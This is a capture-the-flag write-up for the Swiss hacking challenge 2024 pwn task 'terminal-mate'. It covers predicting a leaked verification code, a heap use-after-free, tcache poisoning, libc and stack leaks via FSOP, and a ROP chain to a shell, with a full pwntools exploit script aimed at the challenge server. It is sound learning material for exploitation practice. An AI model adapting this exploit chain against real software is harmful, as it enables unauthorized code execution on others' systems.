swiss hacking challenge 2024 - terminal-mate
Difficulty: medium
Category: pwn
Author: mannheim
Welcome to TerminalMate
Hey there, office mates! Ready to spice up your work life? Introducing TerminalMate - the printer-action dating app that’s here to bring some excitement to your workplace interactions.
Swipe through profiles of fellow printer enthusiasts, hoping to find someone who shares your passion for office gadgets and printer maintenance. But remember, discretion is key! Keep an eye out for the watchful gaze of the IT-administrators.
So, grab your used but free coffee mug and rop your way to your next printer-action adventures.
Files
We are given a TerminalMate
binary:
TerminalMate: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5886f4e43c56dd18e212996d043ef6c8b1d5acf0, for GNU/Linux 3.2.0, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Exploitation
Unlocking chat functionality
To unlock the ability to chat (and to allocate stuff on the heap) we need to enter a valid premium code. The mentioned mannheim_random
is just a multiplication and addition with some constant value:
int64_t get_premium()
{
void* fsbase;
int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);
puts("Try our premium features!");
puts("Verify your account and get 10 m…");
printf("Enter your credit card number an…");
void var_28;
__isoc99_scanf("%10s", &var_28);
uint64_t rax_4 = mannheim_random();
printf("Enter the verification code: ");
int64_t var_38;
__isoc99_scanf(&data_2314, &var_38);
if (rax_4 == var_38)
{
puts("Congratulations! You now have 10…");
HAS_PREMIUM = 1;
}
else
{
puts("Invalid verification code.");
printf("It should have been %lu.\n", rax_4);
puts("Verification code is now invalid…");
HAS_PREMIUM = 0;
}
if (rax == *(uint64_t*)((char*)fsbase + 0x28))
{
return (rax - *(uint64_t*)((char*)fsbase + 0x28));
}
__stack_chk_fail();
/* no return */
}
uint64_t mannheim_random()
{
state = ((0x5851f42d4c957f2d * state) + 0x14057b7ef767814f);
return state;
}
As the program shows the code that would’ve been right, we can just get the next one and unlock chats:
new_premium_code = (
int(hex(wrong_code * 0x5851F42D4C957F2D)[2:][-16:], 16) + 0x14057B7EF767814F
)
Heap exploitation
To get code execution, I followed the following steps:
- Trigger UAF by deleting our user; instead of a username a heap address is shown
- Fill up tcache by editing 8 previously created messaged until we get a small bin entry (contains pointer to libc)
- Trigger a UAF by deleting our user (deletes first message as well), we now can write into the tcache
- Change our username to be a pointer to the smallbin on the heap (is written to the tcache entry that was deleted)
- Get the first message to obtain a leak of the
main_arena
(which is part of the libc address space) - Use FSOP to leak
environ
-> stack address - ROP to call
/bin/sh
, place it on the stack - Call the exit function and get a shell
This looks like the following in the full solve script:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./TerminalMate_patched")
libc = ELF("./libc.so.6")
context.binary = exe
context.terminal = ["kitty", "-e", "sh", "-c"]
def change_username(r, name):
r.sendlineafter(b"Enter your choice: ", b"2")
r.sendlineafter(b"Enter your new name: ", name)
def exit(r):
r.sendlineafter(b"Enter your choice: ", b"5")
def get_premium(r, number, code):
r.sendlineafter(b"Enter your choice: ", b"3")
r.sendlineafter(b"code: ", number)
r.sendlineafter(b"code: ", code)
status = r.recvuntil(b"\n")
if b"Invalid" in status:
r.recvuntil(b"It should have been ")
code = r.recvuntil(b".")
return code
def gdpr_delete(r):
r.sendlineafter(b"Enter your choice: ", b"4")
r.sendlineafter(b"Enter your choice: ", b"2")
def get_current_message(r, uid):
r.sendlineafter(b"Enter your choice: ", b"1")
user_info = r.recvuntil(b"\n")
while b"#"+uid not in user_info:
r.sendlineafter(b"(l/r/c):", b"l")
user_info = r.recvuntil(b"\n")
r.sendlineafter(b"(l/r/c):", b"c")
status = r.recvuntil(b"\n")
if b"matched" not in status:
r.recvuntil(b"message is: ")
msg = r.recvuntil(b"\n")
r.sendlineafter(b"(y/n)", b"n")
out = msg
else:
r.sendline(b"")
out = b""
r.sendline(b"q")
return out
r.sendline(b"q")
def chat_with_user(r, uid, message):
r.sendlineafter(b"Enter your choice: ", b"1")
user_info = r.recvuntil(b"\n")
while b"#"+uid not in user_info:
r.sendlineafter(b"(l/r/c):", b"l")
user_info = r.recvuntil(b"\n")
r.sendlineafter(b"(l/r/c):", b"c")
status = r.recvuntil(b"\n")
if b"matched" in status:
r.sendlineafter(b"message: ", message)
else:
r.sendlineafter(b"(y/n)", b"y")
r.sendline(message)
r.sendline(b"q")
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote('64dda293-9af4-4fa4-b08d-8bc56c0c88e7.ctf.m0unt41n.ch', 1337, ssl=True)
return r
def main():
r = conn()
# Leak premium code
r.sendlineafter(b"Enter your name (8 chars): ", b"USERNAME")
wrong_code = int(get_premium(r, b"0", b"0")[:-1])
new_premium_code = (
int(hex(wrong_code * 0x5851F42D4C957F2D)[2:][-16:], 16) + 0x14057B7EF767814F
)
success(f"Premium code: {new_premium_code}")
# Get premium
get_premium(r, b"1234", str(new_premium_code).encode())
# cause UAF
gdpr_delete(r)
r.recvuntil(b"deleted.\n")
# Leak Heap
leak = unpack(r.recvuntil(b", what")[:-6].strip(), 'all')
target = int(hex(leak)[2:-1]+hex(int(hex(leak)[-1],16)+1)[2:]+'870',16)
heapleak = int(hex(leak)[2:]+'2b0',16)
success(f"Heap: {hex(leak)}")
# Prepare heap
chat_with_user(r, b"2", b"\x00")
chat_with_user(r, b"3", b"\x00")
chat_with_user(r, b"4", b"\x00")
chat_with_user(r, b"5", b"\x00")
chat_with_user(r, b"6", b"\x00")
chat_with_user(r, b"7", b"\x00")
chat_with_user(r, b"8", b"\x00")
chat_with_user(r, b"9", b"\x00")
# Fill tcache
chat_with_user(r, b"2", cyclic(2048))
chat_with_user(r, b"3", b"\xff\xff")
chat_with_user(r, b"4", cyclic(2048))
chat_with_user(r, b"5", cyclic(2048))
chat_with_user(r, b"6", cyclic(2048))
chat_with_user(r, b"7", cyclic(2048))
chat_with_user(r, b"8", cyclic(2048))
# Create small bin
chat_with_user(r, b"9", cyclic(2048))
# Trigger UAF
gdpr_delete(r)
# Leak libc
change_username(r, target.to_bytes(8,'little'))
leak = unpack(get_current_message(r, b"2").strip(), 'all')-0x219cf0 #- 0x22d000 #+0x1d8000 # main_area + memory offset
libc.address = leak
success(f"LIBC: {hex(leak)}")
# FSOP to stack leak (crazy)
# https://ctftime.org/writeup/34812
environ = libc.sym['environ']
stdout = libc.sym['_IO_2_1_stdout_']
read_prim = p64(0xfbad1800)
read_prim += p64(environ)*3
read_prim += p64(environ)
read_prim += p64(environ + 0x8)*2
read_prim += p64(environ + 8)
read_prim += p64(environ + 8)
change_username(r, stdout.to_bytes(8, 'little'))
chat_with_user(r, b"2", read_prim)
r.recvuntil(b"Enter your new message: ")
stack = unpack(r.recvuntil(b"\x00\x00"), 'all')
success(f"Stack: {hex(stack)}")
# weird libc differences to remote, no clue tbh
if not args.LOCAL:
libc.address = libc.address - 0x1000
offset = 0x20
else:
offset = 0x0
# ROP ROP ROP
chain = ROP(libc)
chain.raw(chain.ret)
chain.call('system', [next(libc.search(b"/bin/sh\x00")) - offset])
# Overwrite return address
change_username(r, (stack - 336).to_bytes(8, 'little'))
chat_with_user(r, b"2", chain.chain())
exit(r)
# Shell :D
r.interactive()
if __name__ == "__main__":
main()
Flag
Conclusion
First “advanced” heap challenge I ever solved. I liked it a lot!